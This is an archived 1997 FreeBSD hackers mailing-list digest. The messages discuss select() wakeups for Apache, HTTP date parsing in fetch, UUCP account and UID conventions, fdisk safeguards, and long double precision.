"Luigi Rizzo" at May 31, 97 08:57:09 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The best one can do is (probably) to implement a modified select() > which only wakes up the first process blocked (hoping it will be able > to complete the accept() successfully). Maybe this is not too hard, but > it is non-standard. After looking at /sys/kern/kern_synch.c , I think the modified select I suggest is quite difficult to implement without major changes to the kernel. First of all, all processes doing a select do a tsleep on the same wchan, &selwait. Secondly, the identifier used in tsleep/wakeup is actually hashed and collisions might occur. Since the hash table is relatively small (128 entries) collisions are not that unlikely. For both reasons, waking up only one process with a wakeup might likely fail to get up the correct one. I think it would be nice to have a more effective mechanism to implement multiple servers on the same port (the problem is the same for httpd, nfsiod and probably others) but that needs a careful design first. Cheers Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Sat May 31 06:07:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA22969 for hackers-outgoing; Sat, 31 May 1997 06:07:21 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA22964 for ; Sat, 31 May 1997 06:07:17 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with SMTP id GAA10964; Sat, 31 May 1997 06:08:12 -0700 (PDT) Message-Id: <199705311308.GAA10964@implode.root.com> X-Authentication-Warning: implode.root.com: localhost [127.0.0.1] didn't use HELO protocol To: Luigi Rizzo cc: julian@whistle.com, hackers@FreeBSD.ORG Subject: Re: WHy does Appache eat my system? In-reply-to: Your message of "Sat, 31 May 1997 14:05:27 +0200." <199705311205.OAA22027@labinfo.iet.unipi.it> From: David Greenman Reply-To: dg@root.com Date: Sat, 31 May 1997 06:08:12 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I think it would be nice to have a more effective mechanism to >implement multiple servers on the same port (the problem is the same >for httpd, nfsiod and probably others) but that needs a careful design >first. As of FreeBSD 2.2.2 and later, only a single process is woken up. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sat May 31 07:58:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA25274 for hackers-outgoing; Sat, 31 May 1997 07:58:58 -0700 (PDT) Received: from ohm.ingsala.unal.edu.co ([168.176.15.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA25269 for ; Sat, 31 May 1997 07:58:47 -0700 (PDT) Received: from unalmodem.usc.unal.edu.co (unalmodem10.usc.unal.edu.co [168.176.3.40]) by ohm.ingsala.unal.edu.co (8.8.5/8.8.5) with SMTP id JAA00219; Sat, 31 May 1997 09:57:45 -0500 (COT) Message-ID: <338FD98E.A31@fps.biblos.unal.edu.co> Date: Sat, 31 May 1997 00:56:35 -0700 From: "Pedro F. Giffuni" Organization: Universidad Nacional de Colombia X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: Chuck Robey CC: "Jordan K. Hubbard" , Eivind Eklund , hackers@FreeBSD.ORG Subject: Re: FreeBSD CVS Tree References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Chuck Robey wrote: > > FWIW, I wish WC would split off the ports and distfiles together into > their own separate CD set, sold separately. Hmm..will the GNU license of some packages let you distribute the binaries without source code? Pedro. From owner-freebsd-hackers Sat May 31 08:10:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA25613 for hackers-outgoing; Sat, 31 May 1997 08:10:54 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA25606 for ; Sat, 31 May 1997 08:10:46 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id QAA12461 for ; Sat, 31 May 1997 16:10:32 +0100 (BST) Message-Id: <199705311510.QAA12461@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: freebsd-hackers@freebsd.org Subject: fetch Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 31 May 1997 16:10:32 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, My ISP (demon.co.uk) sends http dates like this: Sat, 31-May-97 10:48:56 GMT According to http.c in the fetch sources, it's expecting a full year here, ie. Sat, 31-May-1997 10:48:56 ..... Has anyone any objection to me making it allow the first ? -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat May 31 09:21:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA27664 for hackers-outgoing; Sat, 31 May 1997 09:21:48 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA27639 for ; Sat, 31 May 1997 09:21:42 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id SAA23874 for hackers@FreeBSD.ORG; Sat, 31 May 1997 18:21:39 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id SAA17766; Sat, 31 May 1997 18:11:29 +0200 (MET DST) Message-ID: <19970531181129.KA05904@uriah.heep.sax.de> Date: Sat, 31 May 1997 18:11:29 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: FreeBSD CVS Tree References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Hellmuth Michaelis on May 30, 1997 09:23:27 +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Hellmuth Michaelis wrote: > I can easily live without the "Live Filesystem" on the second CD, but i > _cannot_ live without either the ports _or_ the distfiles !! Careful, the live filesystem can be used as a fixit medium these days. That's nothing i would like to see going away either. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 09:50:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA28902 for hackers-outgoing; Sat, 31 May 1997 09:50:47 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA28888 for ; Sat, 31 May 1997 09:50:39 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA01500; Sat, 31 May 1997 12:50:06 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Sat, 31 May 1997 12:50 EDT Received: from lakes.water.net (lakes [10.0.0.3]) by ponds.water.net (8.8.5/8.7.3) with ESMTP id HAA27087; Sat, 31 May 1997 07:17:11 -0400 (EDT) Received: (from rivers@localhost) by lakes.water.net (8.8.5/8.6.9) id HAA15341; Sat, 31 May 1997 07:24:46 -0400 (EDT) Date: Sat, 31 May 1997 07:24:46 -0400 (EDT) From: Thomas David Rivers Message-Id: <199705311124.HAA15341@lakes.water.net> To: dgy@rtd.com, ponds!Mole.ORG!mrm Subject: Re: uucp uid's Cc: ponds!rtd.com!dgy, ponds!FreeBSD.ORG!hackers, ponds!uriah.heep.sax.de!joerg_wunsch Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > If each UUCP dialup account has a unique login and that is compromised, you > > > can tell exactly where the problem originated, can disable that *single* > > > account (vs. *all* of them) without affecting service to other accounts > > > and can go in search of how the problem originated in the first place. > > > > Each UUCP dialup account can have a unique login without having a unique > > UID :-) That's not to say I don't think a unique UID is good, just that > > it can be done. I _do_ think unique UID's are a good thing. > > Yes, I currently have nuucp and xuucp sharing a uid. However, I > had intended to indicate unique *uids* in the above statement. > As in uhost1:900:... uhost2:901:... etc. > > > > UUCP itself is a dinosaur. Yet, I see several places that use UUCP as > > > their sole connection to the electronic world. Kinda tough to force > > > a client/customer to do things *your* way when *he's* paying the bills! :> > > > > UUCP was a good dinosaur. It still has advantages in this highly > > interconnected world. I especially liked the multiple connectivity > > fishnet rather than the cluster connected net we now have. > > Yes. And a good deal of the population doesn't have direct IP > connectivity, etc. > > --don > Yes - I'd have to agree - since UUCP is my primary connection to the-rest-of-the-world. By the way, I've had as many as 16 UUCP neighbors. In recent years, this has dwindled to about 3 or 4. I gave each a separate account (so they could each have their own passwd and UID.) e.g.: Uxxxxx for machine 'xxxxx' Uyyyyy for machine 'yyyyy' Uzzzzz for machine 'zzzzz' but they have the same home directory. One advantage of this is that, at any given time, I can see who is dialed in and decide if I want to kick them off to use the modem myself :-) (just use who.) - Dave Rivers - From owner-freebsd-hackers Sat May 31 09:52:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29098 for hackers-outgoing; Sat, 31 May 1997 09:52:43 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA29077 for ; Sat, 31 May 1997 09:52:36 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id SAA24544 for freebsd-hackers@FreeBSD.ORG; Sat, 31 May 1997 18:52:34 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id SAA24214; Sat, 31 May 1997 18:39:05 +0200 (MET DST) Message-ID: <19970531183904.XM47923@uriah.heep.sax.de> Date: Sat, 31 May 1997 18:39:04 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Fdisk Special Feature We CAN do Without References: <199705302142.XAA00119@zibbi.mikom.csir.co.za> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Simon Shapiro on May 30, 1997 16:44:13 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Simon Shapiro wrote: > The heck is that (regardless of what the man says!) this program, silently > and without warning will destroy your system, witha delay in problem > recognition. It's unix. ``You get what you want.'' Other systems try to be smart and often don't even let you do something. (We've recently had serious problems with a customer (who insists on using WinNT) since his system doesn't backup `open' files. Q: So, how do you get a complete backup from a running system then? A: You can't.) > It is > totally within the realm of fdisk to refuse to re-partition a disk that: > > a. Has open partitions, > b. Has mounted file systems, That's not useful. You for sure sometimes do want to adjust the fdisk table of your boot disk, without the need to dig up the fixit floppy (so the disk is really idle and has no open partitions and/or mounted filesystems). > c. does not match ANY parameter, including disk total size Match against what? It always matches against itself. Further tests are not useful, i can certainly always prove you at least one case where you really want to correct fdisk's (oftentimes botched) idea about what might be right. > e. Has a missing device name in argv[] or has in argv[] a filename for > which stat(2) returns a -2. Testing for junk arguments might indeed be useful. Use send-pr to submit your patches. :-] Btw., i wonder what you're ever doing with fdisk at all... I think i wouldn't even notice a damaged fdisk table on my drives. ;-) Since i know that you're running dedicated FreeBSD systems as well, i wonder what's your concern with fdisk... -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 10:26:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00124 for hackers-outgoing; Sat, 31 May 1997 10:26:54 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA00119 for ; Sat, 31 May 1997 10:26:48 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA25574; Sat, 31 May 1997 19:26:42 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA28443; Sat, 31 May 1997 19:24:36 +0200 (MET DST) Message-ID: <19970531192436.YF59200@uriah.heep.sax.de> Date: Sat, 31 May 1997 19:24:36 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: tom@tomqnx.com (Tom Torrance at home) Subject: Re: RELENG_2_2 Problems References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tom Torrance at home on May 31, 1997 02:02:11 -0400 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tom Torrance at home wrote: > 1) The RELNOTES.TXT files for 2.2.x-RELEASE all specify that this release > has full CD-R support for the HP6020i. It seems to me that this release > has NO (zero) support for the HP6020. Did I just miss it, or did > someone forget to commit the necessary changes to the RELENG_2_2 tree? ``Someone'' didn't know about the HP6020 (without the `i') at all before you came up here. It's a simple matter to replace the `i' with an asterisk in the scsiconf.c entry, but you first gotta know that there are these drives around at all. > 2) SCSI changes submitted during the past couple of weeks seem to have > broken the support for my SCSI II tape drive. For every access, I now get > > /kernel: st0(ahc0:6:0): ILLEGAL REQUEST asc:20,0 Invalid command operation code Turn on SCSIDEBUG, and see what exactly the invalid opcode is. You didn't even mention what tape drive you're using, and i hope you don't assume that you're the only -current user with a tape drive at all. ;-) Since other people don't complain, it's certainly something very specific to _your_ drive. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 10:28:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00243 for hackers-outgoing; Sat, 31 May 1997 10:28:48 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA00238 for ; Sat, 31 May 1997 10:28:45 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA25643 for hackers@FreeBSD.ORG; Sat, 31 May 1997 19:28:44 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA28457; Sat, 31 May 1997 19:25:04 +0200 (MET DST) Message-ID: <19970531192504.EJ27203@uriah.heep.sax.de> Date: Sat, 31 May 1997 19:25:04 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: RELENG_2_2 Problems References: <22345.865077697@time.cdrom.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <22345.865077697@time.cdrom.com>; from Jordan K. Hubbard on May 31, 1997 04:21:37 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > News to me! I guess I'll rip this HP 6020i drive out of my system > since there's no support for it, ... Nope. Watch out the `i' in Tom's message. It seems to be important. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 10:43:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00880 for hackers-outgoing; Sat, 31 May 1997 10:43:33 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA00874 for ; Sat, 31 May 1997 10:43:31 -0700 (PDT) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <14555(6)>; Sat, 31 May 1997 10:42:52 PDT Received: from localhost by crevenia.parc.xerox.com with SMTP id <177489>; Sat, 31 May 1997 10:42:47 -0700 To: Brian Somers cc: freebsd-hackers@freebsd.org Subject: Re: fetch In-reply-to: Your message of "Sat, 31 May 97 08:10:32 PDT." <199705311510.QAA12461@awfulhak.demon.co.uk> Date: Sat, 31 May 1997 10:42:40 PDT From: Bill Fenner Message-Id: <97May31.104247pdt.177489@crevenia.parc.xerox.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Somers wrote: >Has anyone any objection to me making it allow the first ? In fact, RFC2068 says that HTTP/1.1 clients MUST allow the first. Bill From owner-freebsd-hackers Sat May 31 10:50:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA01174 for hackers-outgoing; Sat, 31 May 1997 10:50:09 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA01169 for ; Sat, 31 May 1997 10:50:07 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id KAA03280; Sat, 31 May 1997 10:49:57 -0700 (MST) From: Don Yuniskis Message-Id: <199705311749.KAA03280@seagull.rtd.com> Subject: Re: uucp uid's To: joerg_wunsch@uriah.heep.sax.de Date: Sat, 31 May 1997 10:49:57 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970531090733.HH04622@uriah.heep.sax.de> from "J Wunsch" at May 31, 97 09:07:33 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! It seems that J Wunsch said: > As Don Yuniskis wrote: > > > > But that doesn't require distinct UIDs. > > > > How? Since *any* UUCP account can masquerade as another "system" > > and ... > > UUCP account !~= UUCP UID Sorry, I need to be a bit more "precise" on my use of login, uid, etc. (sigh) I guess a good deal of the confusion re: "uid", "login" and "account" is best resolved by example... I'll make a concious effort to try to be clinically correct in my use of "uid", "login" and "account" instead of the informal tone I've been guilty of thus far... A snipette from my /etc/passwd.. uucp:*:66:66:& Administrator:/etc/uucp:/bin/sh nuucp:*:67:67:Local UUCP Access,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico xuucp:*:67:67:Remote UUCP Access,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico ufred:*:1101:1101:Fred UUCP Dialin,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico ubarney:*:1102:1102:Barney UUCP Dialin,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico uwilma:*:1103:1103:Wilma UUCP Dialin,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico ubetty:*:1104:1104:Betty UUCP Dialin,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico upebbles:*:1105:1105:Pebbles UUCP Dialin,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico ubambam:*:1106:1106:Bam-bam [sic] UUCP Dialin,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico udino:*:1107:1107:Dino UUCP Dialin,,,:/var/spool/uucppublic:/usr/libexec/uucp/uucico Here, ``uucp'' is the account used for UUCP administration. I login as uucp to manipulate the various configuration files, etc. Note that I've changed the shell and default working directory for this account to be more in line with *this* use of the account (vs. the way FBSD is shipped). All uucp related files are owned by ``uucp''. The ``nuucp'' login is used (by my convention) for "local" UUCP access (i.e. things within my domain, etc.). Also "by convention", the ``xuucp'' login is used for "remote"/external access. Note that this distinction is somewhat arbitrary on my part. These "accounts" represent the most public/permissive form of access. Anyone logging on as ``nuucp'' or ``xuucp'' can masquerade as any other "system" having those permissions. *Currently*, the two logins resolve to the same uid. Note, however, that they have different passwords. So, in the future, I can elect to change the access privileges for the accounts and move them to different uid's without having to contact all xuucp users (for example) and give them a new password as would be the case if nuucp and xuucp shared a common login. Since they share a uid currently, they both *appear* in the logs as ``nuucp'' regardless of the login used to access the system. [side note: I assume that group membership is tied to uid and NOT to login so the group field of /etc/passwd is effectively ignored for the xuucp entry currently?] The ``u'' logins are tailored to individual systems. (While ``U'' was preferable, mail chokes on the uppercase `U'.) They allow me to exercise finer control over which systems access which files, commands, etc. Obviously, another "convention" on my part but I believe pretty widely used. It allows each system to have it's own unique login. It allows me to track resources used by a particular system as well as the activities of that system. It also allows me to change/revoke those priviledges if a problem develops with a particular "account" without affecting any other UUCP "accounts". Did *that* clarify my use of logins, uids, accounts, etc.? :> > Where !~= translates into ``not necessarily equal''. You can track of > the different accounts even if they have the same UID. As i wrote > earlier, the only thing that is recording by UID is the process And the basic access control mechanisms inherent in UN*X. You can, for example, create another copy of uucico that doesn't suid(uucp) but, rather, runs under the access controls of the invoking user to allow the kernel to enforce the access control privileges on a per user (i.e. per *uid*) basis. > accounting system. Things like utmp/wtmp work by login name, and i > think Taylor's possibility to limit a particular system name to a > distinct account, too (though i've never been using this). Yes, but this relies on the system on the other end "behaving". A user could hack up a UUPC (vs. UUCP) box and pretend to be any system he wants to be... So, if a single login is shared, any user can pretend to be any *system* with that login -- in spite of Taylor's hooks. --don From owner-freebsd-hackers Sat May 31 11:17:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA02167 for hackers-outgoing; Sat, 31 May 1997 11:17:35 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA02159; Sat, 31 May 1997 11:17:29 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA10977; Sat, 31 May 1997 11:15:42 -0700 From: Terry Lambert Message-Id: <199705311815.LAA10977@phaeton.artisoft.com> Subject: Re: Thundering herd. To: julian@FreeBSD.ORG (Julian Elischer) Date: Sat, 31 May 1997 11:15:42 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199705310322.UAA17301@freefall.freebsd.org> from "Julian Elischer" at May 30, 97 08:22:51 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > hmm with processes doing a select on a socket.. > > here's an example from a ktrace'd kernel. [ ... ] > one 'wakeup' and a whole bunch of processes were woken up.. > can't we do better than that? > this is in 2.2+ > > julian > > p.s. yes it only wasted 10mSec (probably less without ktrace) > but I thought we had got around this.. You need to implement a mux instead of a multiple select on a signle socket. The mux then only delivers to a single processes "socket". I think your netframe stuff is a perfect match for this problem. As an optimization, I suggest using LIFO ordering to determine which process gets the select() coming true: if they are anonymous work-to-do-engines (which they can be, using a mux), then the last one in is most likely to have all its data pages in core. This technique is called "hot engine scheduling" (incidently, it was my design for the NetWare for UNIX product's queuing preference). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat May 31 11:28:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA02646 for hackers-outgoing; Sat, 31 May 1997 11:28:08 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA02641 for ; Sat, 31 May 1997 11:28:06 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA10995; Sat, 31 May 1997 11:25:19 -0700 From: Terry Lambert Message-Id: <199705311825.LAA10995@phaeton.artisoft.com> Subject: Re: WHy does Appache eat my system? To: luigi@labinfo.iet.unipi.it (Luigi Rizzo) Date: Sat, 31 May 1997 11:25:19 -0700 (MST) Cc: luigi@labinfo.iet.unipi.it, julian@whistle.com, julian@alpo.whistle.com, hackers@FreeBSD.ORG In-Reply-To: <199705311205.OAA22027@labinfo.iet.unipi.it> from "Luigi Rizzo" at May 31, 97 02:05:27 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The best one can do is (probably) to implement a modified select() > > which only wakes up the first process blocked (hoping it will be able > > to complete the accept() successfully). Maybe this is not too hard, but > > it is non-standard. > > After looking at /sys/kern/kern_synch.c , I think the modified select I > suggest is quite difficult to implement without major changes to the > kernel. > > First of all, all processes doing a select do a tsleep on the same > wchan, &selwait. > > Secondly, the identifier used in tsleep/wakeup is actually hashed > and collisions might occur. Since the hash table is relatively > small (128 entries) collisions are not that unlikely. This is an error. The usage of the tsleep() family of functions requires that a unique sleep address be treated uniquely. I think maybe you are misreading the code. > For both reasons, waking up only one process with a wakeup might > likely fail to get up the correct one. SVR4 implements a "wakeone" function in addition to "wakeup". For the reasons noted in my other post, this is not an optimal soloution. Since Julian is the guy who *invented* the framework in which an optimal soloution could be implemented, I'll leave it as an exercise for the Julian. 8-). > I think it would be nice to have a more effective mechanism to > implement multiple servers on the same port (the problem is the same > for httpd, nfsiod and probably others) but that needs a careful design > first. It's called a "mux" and Julian's code supports doing *exactly* that; he's just not using it. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat May 31 11:29:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA02705 for hackers-outgoing; Sat, 31 May 1997 11:29:29 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA02700 for ; Sat, 31 May 1997 11:29:27 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA11005; Sat, 31 May 1997 11:27:34 -0700 From: Terry Lambert Message-Id: <199705311827.LAA11005@phaeton.artisoft.com> Subject: Re: fetch To: brian@awfulhak.org (Brian Somers) Date: Sat, 31 May 1997 11:27:34 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199705311510.QAA12461@awfulhak.demon.co.uk> from "Brian Somers" at May 31, 97 04:10:32 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hi, > > My ISP (demon.co.uk) sends http dates like this: > > Sat, 31-May-97 10:48:56 GMT > > According to http.c in the fetch sources, it's expecting > a full year here, ie. > > Sat, 31-May-1997 10:48:56 ..... > > Has anyone any objection to me making it allow the first ? As long as you treat it as the year 0097, no objection at all; otherwise you are introducing a year 2000 error. Has demon refused to correct their server software? Or have they not been asked? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat May 31 13:14:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA10304 for hackers-outgoing; Sat, 31 May 1997 13:14:35 -0700 (PDT) Received: from iceberg.anchorage.net. (root@iceberg.anchorage.net [207.14.72.150]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA10299 for ; Sat, 31 May 1997 13:14:29 -0700 (PDT) Received: from aak.anchorage.net (ai-131 [207.14.72.131]) by iceberg.anchorage.net. (8.6.11/8.7.3) with SMTP id LAA00368; Sat, 31 May 1997 11:10:52 -0800 Date: Sat, 31 May 1997 12:03:38 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net Reply-To: Steve Howe To: Joerg Wunsch cc: freebsd-hackers Subject: Re: Borland 16bit bcc vs cc/gcc (float) In-Reply-To: <19970531092837.DA51579@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 31 May 1997, J Wunsch wrote: > Well, you should perhaps have posted the expected output... instead of ok, without posting the code again, the output is below. > I'm not much surprised that the use of non-standard components (long > double) produces unexpected results. > You multiply a long double with a double (result of pow()) what's non-standard about long double? they're standard ANSI C types ... ? much of my software relies on this precision - i can't do 64 bit int-to-string-to-int conversions without them, at least not cleanly, and not without alot of code re-writing. > it by first extending the result of pow() to long double format (thus > `inventing' missing precision digits), or by first truncating the long > double (although i wouldn't expect this)? i'm sorry - i'm lost. i know Borland 16-bit C uses 80-bit long doubles. from gcc sizeof(), i get 96 bits for BSD doubles (8 bytes), and 144 bits for BSD long doubles (12 bytes). so even with BSD doubles, i should get better precision, ... i assume. > > void main (unsigned char argc, unsigned char **argv) { > Don't get caught in comp.lang.c 